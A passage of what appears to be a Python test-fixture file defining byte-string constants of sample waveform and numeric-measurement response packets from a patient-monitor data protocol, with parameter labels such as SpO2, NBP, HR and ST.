b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x3d\x04\x00" \
b"\x01\x00\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x07\x8e\x00\x01\x00\x4a\x09\x6e\x00\x46\x4b\xb4\x04\x00" \
b"\x00\x40\x04\x28\x04\x3e\x04\x57\x04\x76\x04\x99\x04\xc0\x04\xec" \
b"\x05\x1d\x05\x51\x05\x89\x05\xc5\x06\x05\x06\x47\x06\x8c\x06\xd3" \
b"\x07\x1c\x07\x67\x07\xb3\x07\xff\x08\x4c\x08\x99\x08\xe4\x09\x2f" \
b"\x09\x78\x09\xbf\x0a\x03\x0a\x44\x0a\x83\x0a\xbd\x0a\xf3\x0b\x25" \
b"\x0b\x53"
rsp_wave_9_no_3 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x03\xb0\x00\x04\x00\x07\x03\xaa\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x03\xa0\x00\x03\x00\x02\x0e\x80\x90\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x09\x00\x00\x00\x01\x03\x86\x00\x00\x00\x04" \
b"\x03\x80\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x02\x04\x00" \
b"\x01\x00\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\xa1\x94\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xff\x20\x04\x20\x0c\x20\x14\x20\x1c\x20\x26\x20\x2f" \
b"\x20\x38\x20\x42\x20\x4b\x20\x55\x20\x5e\x20\x68\x20\x71\x20\x7a" \
b"\x20\x83\x20\x8d\x20\x96\x20\x9f\x20\xa8\x20\xad\x20\xab\x20\xa6" \
b"\x20\x9e\x20\x95\x20\x8c\x20\x82\x20\x78\x20\x6e\x20\x63\x20\x59" \
b"\x20\x4f\x20\x45\x20\x3a\x20\x30\x20\x26\x20\x1c\x20\x12\x20\x08" \
b"\x1f\xff\x1f\xf7\x1f\xf3\x1f\xf0\x1f\xee\x1f\xed\x1f\xed\x1f\xec" \
b"\x1f\xec\x1f\xed\x1f\xed\x1f\xed\x1f\xed\x1f\xed\x1f\xed\x1f\xed" \
b"\x1f\xed\x1f\xed\x1f\xee\x1f\xee\x1f\xee\x1f\xee\x1f\xee\x1f\xee" \
b"\x1f\xee\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x01\x04\x00" \
b"\x01\x00\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\xa0\x84\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x20\x00\x20\x02\x20\x04\x20\x08\x20\x08\x20\x0b" \
b"\x20\x10\x20\x12\x20\x15\x20\x17\x20\x1a\x20\x1c\x20\x1f\x20\x22" \
b"\x20\x25\x20\x27\x20\x2a\x20\x2d\x20\x30\x20\x33\x20\x33\x20\x32" \
b"\x20\x30\x20\x2f\x20\x2a\x20\x28\x20\x24\x20\x22\x20\x1f\x20\x1d" \
b"\x20\x19\x20\x17\x20\x14\x20\x12\x20\x0e\x20\x0c\x20\x0a\x20\x06" \
b"\x20\x03\x20\x01\x1f\xff\x1f\xfe\x1f\xfe\x1f\xfd\x1f\xfd\x1f\xfc" \
b"\x1f\xfc\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfb" \
b"\x1f\xfb\x1f\xfd\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc" \
b"\x1f\xfc\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x3d\x04\x00" \
b"\x01\x00\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\xa1\x04\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xff\x20\x03\x20\x09\x20\x0f\x20\x13\x20\x1d\x20\x23" \
b"\x20\x27\x20\x2f\x20\x35\x20\x3d\x20\x43\x20\x4b\x20\x51\x20\x57" \
b"\x20\x5d\x20\x65\x20\x6b\x20\x71\x20\x77\x20\x79\x20\x77\x20\x73" \
b"\x20\x6d\x20\x65\x20\x61\x20\x59\x20\x53\x20\x4b\x20\x43\x20\x3b" \
b"\x20\x35\x20\x2d\x20\x25\x20\x1d\x20\x17\x20\x0f\x20\x07\x20\x01" \
b"\x1f\xfb\x1f\xf5\x1f\xf3\x1f\xf1\x1f\xef\x1f\xef\x1f\xef\x1f\xef" \
b"\x1f\xef\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1" \
b"\x1f\xf1\x1f\xef\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1" \
b"\x1f\xf1\x07\x8e\x00\x01\x00\x4a\x09\x6e\x00\x46\x4b\xb4\x04\x00" \
b"\x00\x40\x0b\x7b\x0b\x9f\x0b\xbd\x0b\xd5\x0b\xe8\x0b\xf6\x0b\xfe" \
b"\x0c\x00\x0b\xfc\x0b\xf3\x0b\xe5\x0b\xd2\x0b\xba\x0b\x9d\x0b\x7b" \
b"\x0b\x56\x0b\x2c\x0b\x00\x0a\xd0\x0a\x9d\x0a\x68\x0a\x31\x09\xf9" \
b"\x09\xbf\x09\x85\x09\x4b\x09\x10\x08\xd7\x08\x9e\x08\x66\x08\x30" \
b"\x07\xfb"
rsp_wave_9_no_4 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x03\xb0\x00\x04\x00\x07\x03\xaa\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x03\xa0\x00\x03\x00\x03\x0e\x80\x98\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x09\x00\x00\x00\x01\x03\x86\x00\x00\x00\x04" \
b"\x03\x80\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x02\x04\x00" \
b"\x01\x00\x1f\xee\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xef" \
b"\x1f\xef\x1f\xef\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0" \
b"\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf1\x1f\xf1\x1f\xf1" \
b"\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1" \
b"\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf2\x1f\xf2\x1f\xf2" \
b"\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2" \
b"\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf4\x1f\xf4\x1f\xf4" \
b"\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4" \
b"\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf5\x1f\xf5\x1f\xf5" \
b"\x1f\xf4\x1f\xf3\x1f\xf3\x1f\xf2\x1f\xf1\x1f\xf0\x1f\xf0\x1f\xef" \
b"\x1f\xed\x1f\xed\x1f\xec\x1f\xeb\x1f\xea\x1f\xe9\x1f\xe8\x1f\xe7" \
b"\x1f\xe6\x1f\xe5\x1f\xe4\x1f\xe3\x1f\xe2\x1f\xe1\x1f\xe0\x1f\xdf" \
b"\x1f\xde\x1f\xdd\x1f\xdc\x1f\xdb\x1f\xda\x1f\xd9\x1f\xd8\x1f\xd8" \
b"\x1f\xd7\x1f\xd6\x1f\xd5\x1f\xd4\x1f\xd3\x1f\xd2\x1f\xd1\x1f\xd0" \
b"\x1f\xd0\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x01\x04\x00" \
b"\x01\x00\x1f\xfc\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfb" \
b"\x1f\xfb\x1f\xfb\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc" \
b"\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfb\x1f\xfb\x1f\xfb" \
b"\x1f\xfb\x1f\xfb\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfc\x1f\xfc\x1f\xfc" \
b"\x1f\xfc\x1f\xfc\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe" \
b"\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xfe\x1f\xfe\x1f\xfe" \
b"\x1f\xfe\x1f\xfe\x20\x00\x20\x00\x20\x00\x20\x00\x20\x00\x20\x00" \
b"\x20\x00\x20\x00\x20\x00\x20\x00\x20\x00\x1f\xff\x1f\xff\x1f\xff" \
b"\x20\x00\x1f\xff\x1f\xff\x1f\xfe\x1f\xfd\x1f\xfc\x1f\xfc\x1f\xfb" \
b"\x1f\xfb\x1f\xfb\x1f\xfa\x1f\xf9\x1f\xfa\x1f\xf9\x1f\xfa\x1f\xf9" \
b"\x1f\xf8\x1f\xf7\x1f\xf8\x1f\xf7\x1f\xf8\x1f\xf7\x1f\xf8\x1f\xf7" \
b"\x1f\xf6\x1f\xf7\x1f\xf6\x1f\xf7\x1f\xf6\x1f\xf5\x1f\xf6\x1f\xf4" \
b"\x1f\xf5\x1f\xf4\x1f\xf5\x1f\xf4\x1f\xf5\x1f\xf4\x1f\xf5\x1f\xf6" \
b"\x1f\xf6\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x3d\x04\x00" \
b"\x01\x00\x1f\xf1\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf5\x1f\xf5\x1f\xf5" \
b"\x1f\xf5\x1f\xf5\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf5\x1f\xf5\x1f\xf5" \
b"\x1f\xf5\x1f\xf5\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf5\x1f\xf5\x1f\xf5" \
b"\x1f\xf5\x1f\xf5\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf5\x1f\xf5\x1f\xf5" \
b"\x1f\xf5\x1f\xf5\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf5\x1f\xf5\x1f\xf5" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xef\x1f\xef\x1f\xed\x1f\xed" \
b"\x1f\xed\x1f\xed\x1f\xeb\x1f\xeb\x1f\xe9\x1f\xe9\x1f\xe7\x1f\xe7" \
b"\x1f\xe7\x1f\xe5\x1f\xe5\x1f\xe3\x1f\xe3\x1f\xe3\x1f\xe1\x1f\xe3" \
b"\x1f\xe1\x1f\xe1\x1f\xdf\x1f\xdf\x1f\xdd\x1f\xdd\x1f\xdb\x1f\xd9" \
b"\x1f\xd9\x07\x8e\x00\x01\x00\x4a\x09\x6e\x00\x46\x4b\xb4\x04\x00" \
b"\x00\x40\x07\xc9\x07\x99\x07\x6b\x07\x40\x07\x18\x06\xf3\x06\xd2" \
b"\x06\xb3\x06\x97\x06\x7f\x06\x69\x06\x57\x06\x47\x06\x3a\x06\x2f" \
b"\x06\x27\x06\x21\x06\x1d\x06\x1a\x06\x19\x06\x19\x06\x1a\x06\x1b" \
b"\x06\x1d\x06\x1e\x06\x20\x06\x20\x06\x20\x06\x1f\x06\x1d\x06\x1a" \
b"\x06\x15"
rsp_nu_10_no_1 = \
b"\xe1\x00\x00\x02\x00\x03" \
b"\x00\x06\x00\x01\x00\x02\x00\x00\x88\x88\x88\x88"
rsp_nu_10_no_2 = \
b"\xe1\x00\x00\x02\x00\x05" \
b"\x04\x1c\x01\x01\x00\x01\x00\x07\x04\x14\x00\x21\x00\x00\x00\x00" \
b"\xf1\x3b\x04\x0a\x00\x01\x00\x00\x0e\x80\xcf\x00\xff\xff\xff\xff" \
b"\xff\xff\xff\xff\x00\x01\x00\x06\x00\x00\x00\x01\x03\xf0\x00\x00" \
b"\x00\x0a\x03\xea\x86\x3f\x00\x07\x00\x46\x09\x21\x00\x02\x86\x3f" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x58\x04" \
b"\x09\x27\x00\x10\x00\x0e\x00\x43\x00\x50\x00\x50\x00\x20\x00\x20" \
b"\x00\x20\x00\x00\x09\x17\x00\x02\x03\x00\x09\x11\x00\x02\x00\x05" \
b"\x86\x58\x00\x07\x00\x46\x09\x21\x00\x02\x86\x58\x09\x2f\x00\x04" \
b"\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28" \
b"\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\xe0\x18\x09\x27\x00\x10" \
b"\x00\x0e\x03\x94\x6e\x29\xfe\xff\x5e\xa6\xfe\xff\x00\x20\x00\x00" \
b"\x09\x17\x00\x02\x03\x01\x09\x11\x00\x02\x00\x02\x87\x8c\x00\x09" \
b"\x00\x5a\x09\x21\x00\x02\x87\x8c\x09\x2f\x00\x04\x00\x01\x00\x06" \
b"\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00\x00\x00" \
b"\x09\x24\x00\x04\x00\x02\x4b\xb8\x09\x27\x00\x10\x00\x0e\x00\x53" \
b"\x00\x70\x00\x4f\x20\x82\x00\x20\x00\x20\x00\x00\x09\x17\x00\x02" \
b"\x03\x00\x09\x11\x00\x02\x00\x06\xf0\x08\x00\x02\x06\xd1\x09\x50" \
b"\x00\x0a\x4b\xb8\x04\x00\x02\x20\xff\x00\x03\xb6\x87\x92\x00\x07" \
b"\x00\x4e\x09\x21\x00\x02\x87\x92\x09\x2f\x00\x04\x00\x01\x00\x06" \
b"\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00\x00\x00" \
b"\x09\x24\x00\x04\x00\x02\x48\x22\x09\x27\x00\x10\x00\x0e\x81\x09" \
b"\xfe\xff\x64\x0f\xfe\xff\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02" \
b"\x00\x06\x09\x50\x00\x0a\x48\x22\x04\x01\x0a\xa0\x00\x00\x00\x3c" \
b"\x87\x96\x00\x08\x00\x54\x09\x21\x00\x02\x87\x96\x09\x2f\x00\x04" \
b"\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28" \
b"\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x4b\xb0\x09\x27\x00\x10" \
b"\x00\x0e\x70\x4c\xfe\xff\x6c\xe8\xfe\xff\x00\x20\x00\x20\x00\x00" \
b"\x09\x17\x00\x02\x02\x01\x09\x11\x00\x02\x00\x06\x09\x50\x00\x0a" \
b"\x4b\xb0\x04\x00\x02\x00\xff\x00\x00\x64\x87\xe6\x00\x0a\x00\x82" \
b"\x09\x21\x00\x02\x87\xe6\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f" \
b"\x00\x0c\x00\x00\x20\x00\x00\x01\x52\x28\x01\x03\x00\x00\x09\x24" \
b"\x00\x04\x00\x02\x4a\x04\x09\x27\x00\x10\x00\x0e\x00\x4e\x00\x42" \
b"\x00\x50\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02\x00\x01" \
b"\x09\x90\x00\x08\x20\x19\x03\x21\x16\x30\x43\x00\xf2\x37\x00\x04" \
b"\xff\xff\xff\xff\xf9\x98\x00\x04\xff\xff\xff\xff\x09\x4b\x00\x22" \
b"\x00\x03\x00\x1e\x4a\x05\x20\x00\x0f\x20\x00\x7f\xff\xff\x4a\x06" \
b"\x20\x00\x0f\x20\x00\x7f\xff\xff\x4a\x07\x20\x00\x0f\x20\x00\x7f" \
b"\xff\xff\x87\xe9\x00\x0a\x00\x68\x09\x21\x00\x02\x87\xe9\x09\x2f" \
b"\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01" \
b"\x52\x28\x00\x01\x00\x00\x09\x24\x00\x04\x00\x02\xf0\xe5\x09\x27" \
b"\x00\x10\x00\x0e\x81\x09\xfe\xff\x64\x0f\xfe\xff\x00\x20\x00\x20" \
b"\x00\x00\x09\x17\x00\x02\x03\x00\x09\x11\x00\x02\x00\x01\x09\x90" \
b"\x00\x08\x20\x19\x03\x21\x16\x30\x43\x00\xf9\x98\x00\x04\xff\xff" \
b"\xff\xff\x09\x50\x00\x0a\xf0\xe5\x20\x00\x0a\xa0\x00\x7f\xff\xff" \
b"\x88\x16\x00\x07\x00\x4e\x09\x21\x00\x02\x88\x16\x09\x2f\x00\x04" \
b"\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28" \
b"\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x41\x82\x09\x27\x00\x10" \
b"\x00\x0e\x00\x48\x00\x52\x00\x20\x00\x20\x00\x20\x00\x20\x00\x00" \
b"\x09\x11\x00\x02\x00\x02\x09\x50\x00\x0a\x41\x82\x04\x00\x0a\xa0" \
b"\x00\x00\x00\x3c\x88\x1d\x00\x07\x00\x4e\x09\x21\x00\x02\x88\x1d" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x50\x0a" \
b"\x09\x27\x00\x10\x00\x0e\x00\x52\x00\x52\x00\x20\x00\x20\x00\x20" \
b"\x00\x20\x00\x00\x09\x11\x00\x02\x00\x03\x09\x50\x00\x0a\x50\x0a" \
b"\x04\x00\x0a\xe0\x00\x00\x00\x0f\x88\x22\x00\x08\x00\xa0\x09\x21" \
b"\x00\x02\x88\x22\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c" \
b"\x00\x00\x20\x00\x00\x01\x42\x28\x01\x0c\x00\x00\x09\x24\x00\x04" \
b"\x00\x02\x03\x00\x09\x27\x00\x10\x00\x0e\x00\x53\x00\x54\x00\x20" \
b"\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02\x00\x02\x09\x4b" \
b"\x00\x54\x00\x08\x00\x50\x03\x01\x84\x00\x05\x12\x00\x7f\xff\xff" \
b"\x03\x02\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x3d\x84\x00\x05\x12" \
b"\x00\x7f\xff\xff\x03\x3e\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x3f" \
b"\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x40\x84\x00\x05\x12\x00\x7f" \
b"\xff\xff\x03\x04\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x07\x84\x00" \
b"\x05\x12\x00\x7f\xff\xff\x09\x91\x00\x04\x0e\x7e\xf0\x00"
rsp_nu_10_no_3 = \
b"\xe1\x00\x00\x02\x00\x05" \
b"\x02\x50\x03\x02\x00\x01\x00\x07\x02\x48\x00\x21\x00\x00\x00\x00" \
b"\xf1\x3b\x02\x3e\x00\x01\x00\x00\x0e\x80\xcf\x00\xff\xff\xff\xff" \
b"\xff\xff\xff\xff\x00\x01\x00\x06\x00\x00\x00\x01\x02\x24\x00\x00" \
b"\x00\x09\x02\x1e\x88\x28\x00\x03\x00\x1e\x09\x21\x00\x02\x88\x28" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x24\x00\x01\x0c\x00\x80\x88\x2a\x00\x06\x00\x40\x09\x21" \
b"\x00\x02\x88\x2a\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c" \
b"\x00\x00\x20\x00\x00\x05\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04" \
b"\x00\x02\xf0\x3d\x09\x27\x00\x10\x00\x0e\x00\x53\x00\x54\x63\x07" \
b"\xfe\xff\x65\x70\xfe\xff\x00\x00\x09\x11\x00\x02\x00\x02\x88\x2f" \
b"\x00\x07\x00\x4e\x09\x21\x00\x02\x88\x2f\x09\x2f\x00\x04\x00\x01" \
b"\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00" \
b"\x00\x00\x09\x24\x00\x04\x00\x02\x42\x61\x09\x27\x00\x10\x00\x0e" \
b"\x00\x50\x00\x56\x00\x43\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11" \
b"\x00\x02\x00\x02\x09\x50\x00\x0a\x42\x61\x04\x00\x0a\xa0\x00\x00" \
b"\x00\x00\x88\x3c\x00\x06\x00\x40\x09\x21\x00\x02\x88\x3c\x09\x2f" \
b"\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01" \
b"\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x3f\x20\x09\x27" \
b"\x00\x10\x00\x0e\x00\x51\x00\x54\x00\x20\x00\x20\x00\x20\x00\x20" \
b"\x00\x00\x09\x11\x00\x02\x00\x02\x88\x3e\x00\x06\x00\x40\x09\x21" \
b"\x00\x02\x88\x3e\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c" \
b"\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04" \
b"\x00\x02\x3f\x24\x09\x27\x00\x10\x00\x0e\x00\x51\x00\x54\x00\x63" \
b"\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02\x00\x02\x88\x40" \
b"\x00\x06\x00\x40\x09\x21\x00\x02\x88\x40\x09\x2f\x00\x04\x00\x01" \
b"\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00" \
b"\x00\x00\x09\x24\x00\x04\x00\x02\xf1\x56\x09\x27\x00\x10\x00\x0e" \
b"\x03\x94\x00\x51\x00\x54\x00\x63\x00\x20\x00\x20\x00\x00\x09\x11" \
b"\x00\x02\x00\x02\x88\x42\x00\x06\x00\x40\x09\x21\x00\x02\x88\x42" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\xf1\x54" \
b"\x09\x27\x00\x10\x00\x0e\x00\x51\x00\x54\x00\x2d\x00\x48\x00\x52" \
b"\x00\x20\x00\x00\x09\x11\x00\x02\x00\x02\x88\x46\x00\x03\x00\x1e" \
